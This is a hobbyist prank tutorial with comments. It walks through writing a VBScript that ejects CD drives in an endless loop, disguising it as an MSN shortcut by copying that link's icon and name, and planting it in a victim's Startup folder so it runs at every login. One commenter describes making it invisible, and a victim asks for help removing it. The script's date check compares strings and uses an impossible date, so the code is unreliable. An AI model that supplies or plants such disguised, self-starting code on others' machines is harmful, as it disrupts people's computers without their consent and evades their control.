Introduction: CD Drive Prank

Picture of CD Drive Prank

This is my entry into the April Fool's day contest, how to make a visual basic script to annoy people. When run, it opens all the CD drives and then, if they are closed, opens them again. It also only runs on April fools day, so can be set up well in advance! In addition, as it isn't a program, it doesn't show up in applications, so isn't easy to close. The only was to close it is in processes, but they are probably clever enough to know not to muck around blindly closing processes!

Please leave a message of criticism or support, and preferably a rating, so i know if i should bother again! I'd love to hear stories of mayhem as well!

Step 1: Open Notepad

Picture of Open Notepad

Go to Start, All Programs, Accessories, Notepad.

Step 2: Type in the Code

Picture of Type in the Code

Insert this code:

Dim myDateString
Dim thing1
thing1 = 0
myDateString = Date()
If myDateString < "02/04/10" Then
thing1 = 1
end if
if thing1 = 1 then 
If myDateString > "31/04/10" Then
    thing1 = 2
end if
end if
 
if thing1 = 2 then
do 
Set oWMP = CreateObject("WMPlayer.OCX.7" ) 
Set colCDROMs = oWMP.cdromCollection 
 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next ' cdrom 
End If 
 
loop
Else     
    wscript.quit 1
End If



Now I'll explain that:

Dim myDateString
Dim thing1

This sets two variables that we can use later on in the code.

thing1 = 0
myDateString = Date()

This sets the variables. thing1 is a numerical value, but myDateString contains the date at which it is being run.

If myDateString < "02/04/10" Then
thing1 = 1
end if
if thing1 = 1 then 
If myDateString > "31/04/10" Then
    thing1 = 2

This detects whether it is April Fool's or not, and then sets thing1 accordingly.

if thing1 = 2 then
do 
Set oWMP = CreateObject("WMPlayer.OCX.7" ) 
Set colCDROMs = oWMP.cdromCollection 
 
if colCDROMs.Count >= 1 then 
For i = 0 to colCDROMs.Count - 1 
colCDROMs.Item(i).Eject 
Next ' cdrom 
End If 
 
loop

This actually does the opening and closing. IT calls up a windows media player function to open the drive, then repeats it.


Else     
    wscript.quit 1

This is run if it isn't April Fool's, and closes the file.


Step 3: Save the File

Picture of Save the File

Go to save as, and select "All files" from the second drop down box. Call it anything you want but end it in ".vbs". This means it is saved as a visual basic script an can be run.

Step 4: Select a Disguise

Picture of Select a Disguise

To hide it, we'll make it look like something else. I've used a link to MSN, but you could use any link. You only need to find a suitable one, but I have moved it to make it clearer.

Step 5: Create a Shortcut

Picture of Create a Shortcut

Right click on the file you made two steps ago and click "create shortcut".

Step 6: Get Icon Info

Picture of Get Icon Info

Right click on the file you selected to use as a disguise. Go to properties, then go to the tab marked "Shortcut" and click on the button marked "Change Icon". A window should pop up with an address to the dll containing the icon. Copy this address.

Step 7: Change the Shortcut Icon

Picture of Change the Shortcut Icon

Repeat Step 6 but instead of copying the address, paste the other one and press enter. The icon from the other link should show up. Select this and close Properties.

Step 8: Rename and Move

You should end up with a file looking identical to the link you found. Change the name to match teh other link and move to startup in the victims documents. (C:\Documents and Settings\(Victim's username)\Start Menu\Programs\Startup) so it runs when they log in.

Step 9: How to Close

If the victim realises you've pranked them, try and run away and hide. If, however, they threaten to torture you, you'll need to be able to close it. Press Control, Alt and Delete together and bring up the task manager. Go to processes and click the very top above all the names to order them alphabetically by name. Scroll down and find "wscript.exe" and close that.

Comments

KartikB18 (author)2017-07-23

i tried to run this on my laptop but it says that "there is on script engine for file extension ".vbs"."

plss help!!

calico cat (author)2017-02-28

As a victim of this prank, which by the way, I find it to be very disruptive, how do get rid of this curse? Will greatly appreciate your help on this matter. HELP!

PhoenixD (author)2017-01-08

windows defender thinks it is virus how to get it work?

Win7Maniac (author)2010-05-23

Hahaha, this one's evil! 5 stars! :P I'm going to modify the code to test it, and set it to open/close for 5 mins, wait half an hour, and repeat, and deploy it with batch.  I will make the batch do something I want to show my 'victim' and start this thing 30 mins later, make the batch invisible in BAT to EXE. }:-) Thanks for the 'ible!  Too bad I came late. . .
Ryan

geratthegreat (author)Win7Maniac2016-04-29

whats the code your using for that?

AntMan232 (author)Win7Maniac2010-05-24

Thanks, i saw loads of instructables with whole pages of comments and ratings, so i made 3, and have about 20 comments and 3 ratings total! I did notice how easy it was to change as i made it.

Ant

RalfL (author)2015-06-02

Hmm. I'm not the smartest one, so please help me. I open it but nothing will happen, i searched for the process to see if it even started but nothing. I tried to inverse the date "<;>" so it will be anyday but not april fools. Still nothing. Can u help me with it? Please

R0tten (author)RalfL2016-03-31

Just use this one:

https://community.spiceworks.com/scripts/show/811-april-fools-cd-tray-script

technoguy94 (author)2010-04-29

OMG, that's hilarious!
It might be because I'm using a laptop, but sometimes it won't open again after I close it. It might be because I'm doing it too fast, though, because if I wait first, it always works. Have you had this problem?

AntMan232 (author)technoguy942010-04-30

Hi, sorry, I can't say I can remember it happening, but it may just need a short wait as you say. Please remember to leave a rating, and thanks for actually leaving a comment!

About This Instructable

441,996views

14favorites

More by AntMan232:PICAXE Raspberry Pi ADCRaspberry Pi I2C (Python)Arduino stepper motor and servos shield - AW GCSE Board
Add instructable to: